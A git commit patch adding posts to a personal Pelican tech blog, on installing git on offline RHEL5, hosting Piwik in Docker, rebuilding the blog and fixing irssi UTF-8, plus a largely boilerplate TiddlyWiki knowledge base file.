From 5fae23e966d417113572ed2eaf59fab55f4413ca Mon Sep 17 00:00:00 2001 From: makefu Date: Tue, 18 Feb 2014 15:04:15 +0100 Subject: add content --- content/pages/about.rst | 16 + content/posts/git-on-rhel5.rst | 39 + content/posts/piwik-in-docker-for-pelican.rst | 95 + content/posts/recover-softraidlvm.rst | 2 +- content/posts/revive-euer-blog.rst | 92 + content/posts/utf8-irssi-madness.rst | 15 +- content/wiki/knowledge_base.html | 14517 ++++++++++++++++++++++++ content/wiki/knowledge_base.xml | 508 + 8 files changed, 15277 insertions(+), 7 deletions(-) create mode 100644 content/pages/about.rst create mode 100644 content/posts/git-on-rhel5.rst create mode 100644 content/posts/piwik-in-docker-for-pelican.rst create mode 100644 content/posts/revive-euer-blog.rst create mode 100644 content/wiki/knowledge_base.html create mode 100755 content/wiki/knowledge_base.xml diff --git a/content/pages/about.rst b/content/pages/about.rst new file mode 100644 index 0000000..67db943 --- /dev/null +++ b/content/pages/about.rst @@ -0,0 +1,16 @@ +About +##### + +This is the blog of makefu. It documents my path through technoligy, mostly +describing issues i encountered and quirks to solve these issues. + +You can reach me via the following channels: + + * on irc.freenode.com#krebs makefu + * **@makefoo** on twitter + * send me an e-mail to **your-favorite-word** @syntax-fehler.de + +You can tune in to the Binärgewitter_ Podcast where i am a regular member +of the team. + +.. _Binärgewitter: http://krepel.us diff --git a/content/posts/git-on-rhel5.rst b/content/posts/git-on-rhel5.rst new file mode 100644 index 0000000..d46229f --- /dev/null +++ b/content/posts/git-on-rhel5.rst @@ -0,0 +1,39 @@ +Install GIT on RHEL5 without Internet +##################################### +:date: 2014-02-18 13:37 +:tags: rhel, git + +I was facing the problem that i desperately needed git on one of the +development Redhat 5 systems which had no direct internet connection. As EPEL is an open +repository to retrieve all kinds of cool packages also Git is available there. +All i needed to do was to find out the dependencies, copy the packages to the +host and you are done. + +You need the following packages: + +- git (EPEL) + - perl-Git (dep) (EPEL) + - perl-error (EPEL) + - perl-termreadkey (EPEL) + - perl (installed in my case) (core) + +Today (2014-02-18) i downloaded the following packages: + +.. code-block:: bash + + #?/bin/sh + # on internet-available node: + wget 'http://mirror.bytemark.co.uk/fedora/epel/5Server/x86_64/perl-Error-0.17010-1.el5.noarch.rpm' \ + 'http://mirror.bytemark.co.uk/fedora/epel/5Server/x86_64/perl-TermReadKey-2.30-4.el5.x86_64.rpm' \ + 'http://mirror.bytemark.co.uk/fedora/epel/5Server/x86_64/perl-Git-1.8.2.1-1.el5.x86_64.rpm' \ + 'http://mirror.bytemark.co.uk/fedora/epel/5Server/x86_64/git-1.8.2.1-1.el5.x86_64.rpm' \ + # you may need this as well. + # http://mirror.bytemark.co.uk/centos/5.10/os/x86_64/CentOS/perl-5.8.8-41.el5.x86_64.rpm + scp *.rpm :~ + ssh + sudo rpm -i *.rmp + +If they go 404 have a look at +http://mirror.bytemark.co.uk/fedora/epel/5Server/x86_64/ for EPEL (replace +5Server with 6Server for RHEL6) and http://mirror.bytemark.co.uk/centos/ for +core packages for RHEL. diff --git a/content/posts/piwik-in-docker-for-pelican.rst b/content/posts/piwik-in-docker-for-pelican.rst new file mode 100644 index 0000000..1bf5df0 --- /dev/null +++ b/content/posts/piwik-in-docker-for-pelican.rst @@ -0,0 +1,95 @@ +Piwik for this blog +#################### +:date: 2014-02-18 08:00 +:tags: piwik, docker, pelican + +I was looking for a simple analytics tool for this blog. As everyone seems to +be using **piwik** and everyone loves **docker** for rapid deployment. As i am +always short on resources on all my machines i decided to deploy piwik on +another of my VMs which is ``mediengewitter.krebsco.de`` instead of directly on +``euer.krebsco.de`` Again it was a case of 'how-hard-can-it-be?'. +Turns out everything is much harder than expected. +As always this this is the digest of some hours work. + +Installing piwik in docker +========================== +After testing out all kinds of non-working Dockerfiles, this is what worked for +me: + +.. code-block:: bash + + git clone https://github.com/makefu/docker-piwik.git piwik + cd piwik + ./build + + # if you want persistence, see: + mkdir -p /media/ext/piwik/{www,mysql} + cat README + +Running piwik +============= +Because docker handles it's own network, the docker image port 80 must be +forwarded to the host (i use 10000). Also i want data persistence via exported filesystems. + +.. code-block:: bash + + docker run -p=10000:80 -d + \ -v /media/ext/piwik/www:/var/www + \ -v /media/ext/piwik/mysql:/var/lib/mysql piwik + # or ./run + +Adding piwik to pelican +======================= +Integration of piwik tracking to pelican **should** be straight forward, just +add the following to your ``pelicanconf.py``: + +.. code-block:: python + + PIWIK_URL='mediengewitter.krebsco.de:10000' + # first piwik site is always id 1 + PIWIK_SITE_ID=1 + +Bit nothing seemed to be happening, turns out my theme of choice does not +support piwik so i had to add this feature explicitly to the skin (by stealing +the code from another theme). I created a pull request for my code: +https://github.com/getpelican/pelican-themes/pull/195 . +If it will never be merged, use my repository for themes: + +.. code-block:: bash + + cd + git clone git@github.com:makefu/pelican-themes.git -b add-piwik-to-gum themes + +Add piwik to another skin +========================= +If you are using another skin without piwik integration, this is basically what you +need to do: + +1. Add piwik.html to '``/templates``' + +.. code-block:: html + + {% if PIWIK_URL and PIWIK_SITE_ID %} + + {% endif %} + +2. Add this line somewhere near the end but before to '``/templates/base.html``': + +.. code-block:: html + + ... + {% include 'piwik.html' %} + ... diff --git a/content/posts/recover-softraidlvm.rst b/content/posts/recover-softraidlvm.rst index efc070d..a2cd31a 100644 --- a/content/posts/recover-softraidlvm.rst +++ b/content/posts/recover-softraidlvm.rst @@ -1,6 +1,6 @@ Recover Softraid/LVM #################### -Date: 2012-02-06 10:24 +:date: 2012-02-06 10:24 :tags: mdadm, softraid, lvm MD Array fails to assemble diff --git a/content/posts/revive-euer-blog.rst b/content/posts/revive-euer-blog.rst new file mode 100644 index 0000000..a6470ce --- /dev/null +++ b/content/posts/revive-euer-blog.rst @@ -0,0 +1,92 @@ +Revive this Blog +################################## +:date: 2013-02-17 14:26 +:tags: openssh, dropbear + +2 years ago i lost this blog in an unexpected VPS shutdown and of course i had +no backups (duh!) and had not used any kind of version management. +Thanks to archive.org at least the content of the blog left intact. I guess +that's why it is sometimes called **'The WaybackUp Machine'**. + +My old blog can be found at +https://web.archive.org/web/20121213091551/http://euer.krebsco.de/ and +even the rss feed is intact. + + +The old blog was created using **octopress**, a static site generator written in +ruby. Because the markdown files were essentially lost i thought it is time to +try out something new. +I chose **pelican**, a static site generator written in python because in a +worst-case scenario i could fix the python code. I will also test out +reStructured Text instead of Markdown. + +Installation of pelican +----------------------- + +.. code-block:: bash + + #?/bin/sh + virtualenv my-blog + cd my-blog + . bin/activate + pip install pelican + pelican-quickstart + ... + +Importing RSS +------------- +Pelican supports importing old rss feeds. +I tried importing the archive.org rss feed but besides the date and title of +the post and the date the markup was pretty much broken, the code with line +numbering resulted in a broken
-table. This happens for rst and markdown
+output.
+
+In addition the importer uses pandoc, a haskell markup transformer which is
+with all dependencies like 100mb in size.
+
+For the records here is what was needed:
+
+.. code-block:: bash
+
+    #? /bin/sh
+    . bin/activate
+    yaourt -Sy aur/pandoc-static
+    pelican-import --feed https://web.archive.org/web/20120709004415/http://euer.krebsco.de/atom.xml -o content/posts
+    # cleanup all the posts in content/posts
+
+Configure pelican 
+-----------------
+Pelican needs to be configured in ``pelicanconf.py``:
+
+.. code-block:: python
+    
+    AUTHOR = 'makefu'
+    SITENAME = 'only code is pure'
+    # rss feed to be built
+    FEED_ALL_ATOM = 'feeds/all.atom.xml'
+    # for RSS in the headline
+    MENUITEMS = (( 'RSS', '/feeds/all.atom.xml'),)
+
+    # add robots.txt
+    STATIC_PATHS = [ 'extra/robots.txt', ]
+    EXTRA_PATH_METADATA = { 'extra/robots.txt': {'path': 'robots.txt'}, }
+    
+    # twitter link
+    SOCIAL = (('@makefoo', 'http://twitter.com/makefoo') ,)
+    # add disqus comments
+    DISQUS_SITENAME = 'euer'
+    # all the other lines of config
+
+
+Configure themes
+----------------
+Themes need to be retrieved separately.
+
+.. code-block:: bash
+   
+    #? /bin/sh
+    # omit --recursive for a subset, gum is in the core
+    git clone --recursive https://github.com/getpelican/pelican-themes themes
+
+    # add the theme line to pelicanconf
+    echo 'THEME="themes/gum"' >> pelicanconf.py
diff --git a/content/posts/utf8-irssi-madness.rst b/content/posts/utf8-irssi-madness.rst
index 5b6fb87..fb86115 100644
--- a/content/posts/utf8-irssi-madness.rst
+++ b/content/posts/utf8-irssi-madness.rst
@@ -1,25 +1,27 @@
-Title: Utf8 in an Irssi/tmux/putty/windows Stack
-Date: 2012-06-22
-Tags: irssi, utf8
+Utf8 in an Irssi/tmux/putty/windows Stack
+#########################################
+:date: 2012-06-22 00:00
+:tags: irssi, utf8
 
 Getting irssi running with utf8 support in a putty/tmux stack is madness. Here
 is what you have to do.
 
 add lines in .{ba,z}shrc:
     
-    :::bash
+.. code-block:: bash
+
     export LANG=en_US.utf8
     export LC_ALL=en_US.utf8
 
 add lines in .tmux.conf:
+.. code-block:: bash
 
-    :::bash
     set-option -g default-terminal "rxvt"
     set-window-option -g utf8 on
 
 in irssi:
+.. code-block:: bash
     
-    :::bash
     /set term_charset UTF-8
     /set recode_autodetect_utf8 ON
     /set recode_fallback UTF-8
@@ -30,6 +32,7 @@ in irssi:
     /quit
 
 in putty config:
+.. code-block:: bash 
 
     window -> translation -> Received data assumed to be in which character set: UTF-8
                           -> Use Unicode line drawing code points
diff --git a/content/wiki/knowledge_base.html b/content/wiki/knowledge_base.html
new file mode 100644
index 0000000..53fa865
--- /dev/null
+++ b/content/wiki/knowledge_base.html
@@ -0,0 +1,14517 @@
+
+
+
+
+
+
+
+
+
+
+
+
+ Knowledge Base -  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Background: #fff
+Foreground: #000
+PrimaryPale: #8cf
+PrimaryLight: #18f
+PrimaryMid: #04b
+PrimaryDark: #014
+SecondaryPale: #ffc
+SecondaryLight: #fe8
+SecondaryMid: #db4
+SecondaryDark: #841
+TertiaryPale: #eee
+TertiaryLight: #ccc
+TertiaryMid: #999
+TertiaryDark: #666
+Error: #f88
+
+
+
+
<!--{{{-->
+<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
+<div class='title' macro='view title'></div>
+<div class='editor' macro='edit title'></div>
+<div macro='annotations'></div>
+<div class='editor' macro='edit text'></div>
+<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
+<!--}}}-->
+
+
+
+
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
+* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
+* [[MainMenu]]: The menu (usually on the left)
+* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
+You'll also need to enter your username for signing your edits: <<option txtUserName>>
+
+
+
+
<<importTiddlers>>
+
+
+
+
<!--{{{-->
+<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
+<!--}}}-->
+
+
+
+
These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser
+
+Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])
+
+<<option txtUserName>>
+<<option chkSaveBackups>> [[SaveBackups]]
+<<option chkAutoSave>> [[AutoSave]]
+<<option chkRegExpSearch>> [[RegExpSearch]]
+<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
+<<option chkAnimate>> [[EnableAnimations]]
+
+----
+Also see [[AdvancedOptions]]
+
+
+
+
<!--{{{-->
+<div class='header' role='banner' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
+<div class='headerShadow'>
+<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
+<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
+</div>
+<div class='headerForeground'>
+<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
+<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
+</div>
+</div>
+<div id='mainMenu' role='navigation' refresh='content' tiddler='MainMenu'></div>
+<div id='sidebar'>
+<div id='sidebarOptions' role='navigation' refresh='content' tiddler='SideBarOptions'></div>
+<div id='sidebarTabs' role='complementary' refresh='content' force='true' tiddler='SideBarTabs'></div>
+</div>
+<div id='displayArea' role='main'>
+<div id='messageArea'></div>
+<div id='tiddlerDisplay'></div>
+</div>
+<!--}}}-->
+
+
+
+
/*{{{*/
+body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
+
+a {color:[[ColorPalette::PrimaryMid]];}
+a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
+a img {border:0;}
+
+h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
+h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
+h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}
+
+.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
+.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
+.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}
+
+.header {background:[[ColorPalette::PrimaryMid]];}
+.headerShadow {color:[[ColorPalette::Foreground]];}
+.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
+.headerForeground {color:[[ColorPalette::Background]];}
+.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}
+
+.tabSelected {color:[[ColorPalette::PrimaryDark]];
+	background:[[ColorPalette::TertiaryPale]];
+	border-left:1px solid [[ColorPalette::TertiaryLight]];
+	border-top:1px solid [[ColorPalette::TertiaryLight]];
+	border-right:1px solid [[ColorPalette::TertiaryLight]];
+}
+.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
+.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
+.tabContents .button {border:0;}
+
+#sidebar {}
+#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
+#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
+#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
+#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
+#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}
+
+.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
+.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
+.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
+.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
+	border:1px solid [[ColorPalette::PrimaryMid]];}
+.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
+.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
+.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
+.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
+	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
+.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
+.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
+	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}
+
+.wizard .notChanged {background:transparent;}
+.wizard .changedLocally {background:#80ff80;}
+.wizard .changedServer {background:#8080ff;}
+.wizard .changedBoth {background:#ff8080;}
+.wizard .notFound {background:#ffff80;}
+.wizard .putToServer {background:#ff80ff;}
+.wizard .gotFromServer {background:#80ffff;}
+
+#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
+#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}
+
+.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}
+
+.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
+.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
+.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
+.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
+.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
+.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
+.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
+.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}
+
+.tiddler .defaultCommand {font-weight:bold;}
+
+.shadow .title {color:[[ColorPalette::TertiaryDark]];}
+
+.title {color:[[ColorPalette::SecondaryDark]];}
+.subtitle {color:[[ColorPalette::TertiaryDark]];}
+
+.toolbar {color:[[ColorPalette::PrimaryMid]];}
+.toolbar a {color:[[ColorPalette::TertiaryLight]];}
+.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
+.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}
+
+.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
+.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
+.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
+.tagging .button, .tagged .button {border:none;}
+
+.footer {color:[[ColorPalette::TertiaryLight]];}
+.selected .footer {color:[[ColorPalette::TertiaryMid]];}
+
+.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
+.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
+.lowlight {background:[[ColorPalette::TertiaryLight]];}
+
+.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}
+
+.imageLink, #displayArea .imageLink {background:transparent;}
+
+.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}
+
+.viewer .listTitle {list-style-type:none; margin-left:-2em;}
+.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
+.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}
+
+.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
+.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
+.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}
+
+.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
+.viewer code {color:[[ColorPalette::SecondaryDark]];}
+.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}
+
+.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}
+
+.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
+.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
+.editorFooter {color:[[ColorPalette::TertiaryMid]];}
+.readOnly {background:[[ColorPalette::TertiaryPale]];}
+
+#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
+#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
+#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
+#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
+#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
+#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
+#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
+.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
+.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
+#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:alpha(opacity=60);}
+/*}}}*/
+
+
+
+
/*{{{*/
+* html .tiddler {height:1%;}
+
+body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}
+
+h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
+h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
+h4,h5,h6 {margin-top:1em;}
+h1 {font-size:1.35em;}
+h2 {font-size:1.25em;}
+h3 {font-size:1.1em;}
+h4 {font-size:1em;}
+h5 {font-size:.9em;}
+
+hr {height:1px;}
+
+a {text-decoration:none;}
+
+dt {font-weight:bold;}
+
+ol {list-style-type:decimal;}
+ol ol {list-style-type:lower-alpha;}
+ol ol ol {list-style-type:lower-roman;}
+ol ol ol ol {list-style-type:decimal;}
+ol ol ol ol ol {list-style-type:lower-alpha;}
+ol ol ol ol ol ol {list-style-type:lower-roman;}
+ol ol ol ol ol ol ol {list-style-type:decimal;}
+
+.txtOptionInput {width:11em;}
+
+#contentWrapper .chkOptionInput {border:0;}
+
+.externalLink {text-decoration:underline;}
+
+.indent {margin-left:3em;}
+.outdent {margin-left:3em; text-indent:-3em;}
+code.escaped {white-space:nowrap;}
+
+.tiddlyLinkExisting {font-weight:bold;}
+.tiddlyLinkNonExisting {font-style:italic;}
+
+/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
+a.tiddlyLinkNonExisting.shadow {font-weight:bold;}
+
+#mainMenu .tiddlyLinkExisting,
+	#mainMenu .tiddlyLinkNonExisting,
+	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
+#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}
+
+.header {position:relative;}
+.header a:hover {background:transparent;}
+.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
+.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0; top:0;}
+
+.siteTitle {font-size:3em;}
+.siteSubtitle {font-size:1.2em;}
+
+#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}
+
+#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
+#sidebarOptions {padding-top:0.3em;}
+#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
+#sidebarOptions input {margin:0.4em 0.5em;}
+#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
+#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
+#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
+#sidebarTabs .tabContents {width:15em; overflow:hidden;}
+
+.wizard {padding:0.1em 1em 0 2em;}
+.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
+.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
+.wizardStep {padding:1em 1em 1em 1em;}
+.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
+.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
+.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
+.wizard .button {padding:0.1em 0.2em;}
+
+#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
+.messageToolbar {display:block; text-align:right; padding:0.2em;}
+#messageArea a {text-decoration:underline;}
+
+.tiddlerPopupButton {padding:0.2em;}
+.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}
+
+.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
+.popup .popupMessage {padding:0.4em;}
+.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
+.popup li.disabled {padding:0.4em;}
+.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
+.listBreak {font-size:1px; line-height:1px;}
+.listBreak div {margin:2px 0;}
+
+.tabset {padding:1em 0 0 0.5em;}
+.tab {margin:0 0 0 0.25em; padding:2px;}
+.tabContents {padding:0.5em;}
+.tabContents ul, .tabContents ol {margin:0; padding:0;}
+.txtMainTab .tabContents li {list-style:none;}
+.tabContents li.listLink { margin-left:.75em;}
+
+#contentWrapper {display:block;}
+#splashScreen {display:none;}
+
+#displayArea {margin:1em 17em 0 14em;}
+
+.toolbar {text-align:right; font-size:.9em;}
+
+.tiddler {padding:1em 1em 0;}
+
+.missing .viewer,.missing .title {font-style:italic;}
+
+.title {font-size:1.6em; font-weight:bold;}
+
+.missing .subtitle {display:none;}
+.subtitle {font-size:1.1em;}
+
+.tiddler .button {padding:0.2em 0.4em;}
+
+.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
+.isTag .tagging {display:block;}
+.tagged {margin:0.5em; float:right;}
+.tagging, .tagged {font-size:0.9em; padding:0.25em;}
+.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
+.tagClear {clear:both;}
+
+.footer {font-size:.9em;}
+.footer li {display:inline;}
+
+.annotation {padding:0.5em; margin:0.5em;}
+
+* html .viewer pre {width:99%; padding:0 0 1em 0;}
+.viewer {line-height:1.4em; padding-top:0.5em;}
+.viewer .button {margin:0 0.25em; padding:0 0.25em;}
+.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
+.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}
+
+.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
+.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
+table.listView {font-size:0.85em; margin:0.8em 1.0em;}
+table.listView th, table.listView td, table.listView tr {padding:0 3px 0 3px;}
+
+.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
+.viewer code {font-size:1.2em; line-height:1.4em;}
+
+.editor {font-size:1.1em;}
+.editor input, .editor textarea {display:block; width:100%; font:inherit;}
+.editorFooter {padding:0.25em 0; font-size:.9em;}
+.editorFooter .button {padding-top:0; padding-bottom:0;}
+
+.fieldsetFix {border:0; padding:0; margin:1px 0px;}
+
+.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
+.zoomer div {padding:1em;}
+
+* html #backstage {width:99%;}
+* html #backstageArea {width:99%;}
+#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
+#backstageToolbar {position:relative;}
+#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
+#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
+#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
+#backstage {position:relative; width:100%; z-index:50;}
+#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
+.backstagePanelFooter {padding-top:0.2em; float:right;}
+.backstagePanelFooter a {padding:0.2em 0.4em;}
+#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}
+
+.whenBackstage {display:none;}
+.backstageVisible .whenBackstage {display:block;}
+/*}}}*/
+
+
+
+
/***
+StyleSheet for use when a translation requires any css style changes.
+This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
+***/
+/*{{{*/
+body {font-size:0.8em;}
+#sidebarOptions {font-size:1.05em;}
+#sidebarOptions a {font-style:normal;}
+#sidebarOptions .sliderPanel {font-size:0.95em;}
+.subtitle {font-size:0.8em;}
+.viewer table.listView {font-size:0.95em;}
+/*}}}*/
+
+
+
+
/*{{{*/
+@media print {
+#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
+#displayArea {margin: 1em 1em 0em;}
+noscript {display:none;} /* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
+}
+/*}}}*/
+
+
+
+
<!--{{{-->
+<div class='toolbar' role='navigation' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
+<div class='title' macro='view title'></div>
+<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
+<div class='tagging' macro='tagging'></div>
+<div class='tagged' macro='tags'></div>
+<div class='viewer' macro='view text wikified'></div>
+<div class='tagClear'></div>
+<!--}}}-->
+
+
+ +
+ +
+
+
!static network
+{{{
+auto eth1 # come up automatically
+iface et1 inet static
+  address 192.168.0.24
+  netmask 255.255.255.0
+#  gateway 192.168.0.23
+}}}
+! for wpa_supplicant
